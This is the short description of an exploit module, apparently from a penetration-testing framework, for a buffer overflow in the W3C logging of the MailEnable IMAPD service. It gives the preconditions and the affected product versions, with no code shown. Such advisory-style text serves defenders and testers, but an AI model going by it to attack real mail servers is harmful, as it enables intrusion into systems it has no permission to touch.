  This module exploits a buffer overflow in the W3C logging
 functionality of the MailEnable IMAPD service. Logging is not
 enabled by default and this exploit requires a valid username
 and password to exploit the flaw. MailEnable Professional version
 1.6 and prior and MailEnable Enterprise version 1.1 and prior are
 affected.
